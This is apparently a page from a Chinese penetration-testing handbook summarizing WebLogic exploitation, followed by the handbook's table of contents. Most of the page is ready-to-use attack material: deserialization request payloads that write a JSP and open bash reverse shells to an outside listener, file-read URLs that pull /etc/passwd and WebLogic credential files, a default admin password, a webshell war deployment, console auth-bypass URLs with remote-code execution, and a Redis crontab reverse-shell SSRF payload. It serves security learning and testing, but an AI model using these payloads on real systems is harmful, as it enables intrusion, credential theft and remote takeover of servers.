# Weblogic漏洞利用總結
**Weblogic是Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器**
# 漏洞匯總
weblogic一鍵漏洞掃描檢測工具,提供一鍵poc檢測,收錄幾乎全部weblogic歷史漏洞。
下載地址
```
https://github.com/rabbitmask/WeblogicScan #原版
https://github.com/dr0op/WeblogicScan #修改版,多一個CVE檢測,高亮美化
https://github.com/21superman/weblogic_exploit #21superman寫的,漏洞比較全面
#使用方法
python3 WeblogicScan.py [ip] [port]
```
## 0、CVE-2017-10271
**漏洞簡述**
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者發送精心構造的xml數據甚至能通過反彈shell拿到權限。
**漏洞影響版本**
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0。
**漏洞觸發地址**
```
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
```
**漏洞復現**
1. 訪問觸發此漏洞的server
ip:7001//wls-wsat/CoordinatorPortType
2. 使用burp抓取請求包后發送至repeater模塊,將數據包修改成構造好的payload
```
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("123"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
```
3. 提交,發現成功寫入123
**反彈shell**
1. 構造好反彈shell的命令,在vps上使用nc監聽4444端口
```
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"> <string>/bin/bash</string> </void>
<void index="1"> <string>-c</string> </void>
<void index="2"> <string>bash -i >$amp; /dev/tcp/x.x.x.x/4444 0>$amp;1</string> </void>
</array>
<void method="start"/> </void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
```
2. 監聽`nc -lvp 4444`;成功反彈

成功反彈
## 1、CVE-2019-2618
**漏洞簡述**
利用任意文件讀取來獲取weblogic的弱口令登錄進入后臺,然后通過上傳getshell,通過構造任意文件下載漏洞環境讀取到后臺用戶名和密碼,然后登陸進后臺,上傳webshell。
**漏洞影響版本**
10.3.6.0
12.1.3.0
12.2.1.3
**漏洞復現**
### ①任意文件讀取
1. 訪問url (http://IP:7001/hello/file.jsp?path=/etc/passwd) , 成功讀取到系統賬號和密碼
不過只能讀取一些文件,如何更深層次利用這個漏洞呢?
2. 獲取加密的對稱密鑰對
weblogic密碼使用AES(老版本3DES)加密,只需要找到用戶的密文與加密時的密鑰即可。
兩個文件均位于base_domain下,名為SerializedSystemIni.dat和config.xml。
SerializedSystemIni.dat是一個二進制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,這就是密鑰,右鍵copy to file就可以保存成一個文件:
```
#SerializedSystemIni.dat使用bp的路徑
http://yourIp:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
```
config.xml是base_domain的全局配置文件,所以亂七八糟的內容比較多,找到其中的的值,即為加密后的管理員密碼
```
#config.xml路徑
http://yourIP:7001/hello/file.jsp?path=config/config.xml
```
3. 下載工具進行解密
下載地址:https://github.com/TideSec/Decrypt_Weblogic_Password
使用其中的工具5進行解密
### ②后臺上傳getshell
1. 使用解密后的賬號密碼登錄后臺,weblogic常見的弱密碼
```
https://cirt.net/passwords?criteria=weblogic
這里使用 用戶名:weblogic 密碼:Oracle@123 登錄
```
2. 進入后臺后點擊左邊的部署,找到可以上傳文件的地址
3. 生成一個war包木馬(使用冰蝎的一句話shell)
`jar -cvf shell.war shell.jsp`
4. 生成war后將war馬部署上去
5. 使用冰蝎進行連接(默認密碼為rebeyond),成功getshell
## 2、CVE-2020-14883:權限繞過漏洞
遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console。權限繞過漏洞(CVE-2020-14883),訪問以下URL,未授權訪問到管理后臺頁面(低權限的用戶)
>/console/images/%252E%252E%252Fconsole.portal
/console/css/%252e%252e%252fconsole.portal(小寫可繞過補丁)
/console/css/%25%32%65%25%32%65%25%32%66console.portal
此時的權限很低,并不能在后臺安裝應用,所以需要結合CVE-2020-14882漏洞
## 3、CVE-2020-14882 : 代碼執行漏洞
**漏洞影響版本**
>Oracle Weblogic Server 10.3.6.0.0
>Oracle Weblogic Server 12.1.3.0.0
>Oracle Weblogic Server 12.2.1.3.0
>Oracle Weblogic Server 12.2.1.4.0
>Oracle Weblogic Server 14.1.1.0.0
結合 CVE-2020-14883 漏洞,遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執行任意代碼。
**該漏洞有兩個利用手法**
```
利用 com.tangosol.coherence.mvel2.sh.ShellSession 執行命令
利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 執行命令
```
### 2 利用第一條命令
先在dnslog獲取一個專屬域名,然后使用payload執行命令
```
http://IP:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xx.dnslog.cn');")
```
然后查看dnslog中是否有相關信息日志
也可以直接訪問URL執行系統命令,
```
http://ip:端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```
執行完成后進入/tmp中查看是否有新建的文件
> 這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession 類
### 2 利用第二條命令
一種更為通殺的方法,對于所有Weblogic版本均有效。
但是必須可以出網,要可以訪問到惡意的xml。
首先需要構造一個XML文件,并將其保存外網(漏洞機或者可訪問的一臺機子上)上
XML文件:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl pnw46y.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
```
然后通過構造如下URL,即可讓Weblogic加載這個XML,并執行其中的命令:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://ip.xml")
```
### 3 **getshell**
可以直接下載大佬寫好的工具,下載地址(https://github.com/backlion/CVE-2020-14882_ALL)
## 5、ssrf漏洞
**漏洞描述**
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。
SSRF漏洞可以通過篡改獲取資源的請求發送給服務器,但是服務器并沒有檢測這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的資源。
**漏洞影響范圍**
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0
**漏洞復現**
瀏覽器訪問存在漏洞的地址 SearchPublicRegistries.jsp
```
http://192.168.31.187:7001/uddiexplorer/SearchPublicRegistries.jsp
```
1. 使用burp抓包
看到參數operator的參數是一個url,這個就是利用點 ,構造請求,
2. 通過改變url的端口來做一個端口檢測
存在的端口將會得到錯誤關鍵字`error code`
不存在的端口將會返回錯誤`could not connect over HTTP to server`。
如果訪問的非http協議(內網),則會返回`did not have a valid SOAP content-type`。
## 6、利用redis反彈shell
weblogic的ssrf有一個比較大的特點,其雖然是一個GET請求,但是我們可以通過傳入**%0a%0d**來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就是說我們可以通過該SSRF攻擊內網中的redis服務器。首先通過ssrf探測內網中的redis服務器,通常redis端口為6379
1. 首先,通過ssrf探測內網中的redis服務器
一般端口是6379
2. 構造redis反彈shell命令
```sh
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.191.3/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
```
3. url編碼后,進行繞過攔截
```
http://ip/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E191%2E3%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa%0A%0A%0D%0A
```
4. 使用nc(windows)監聽4444端口
5. 將url編碼后的payload使用bp,用POST請求發送
6. 成功反彈shell
7. 然后可以進入redis服務器進行想做的操作
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具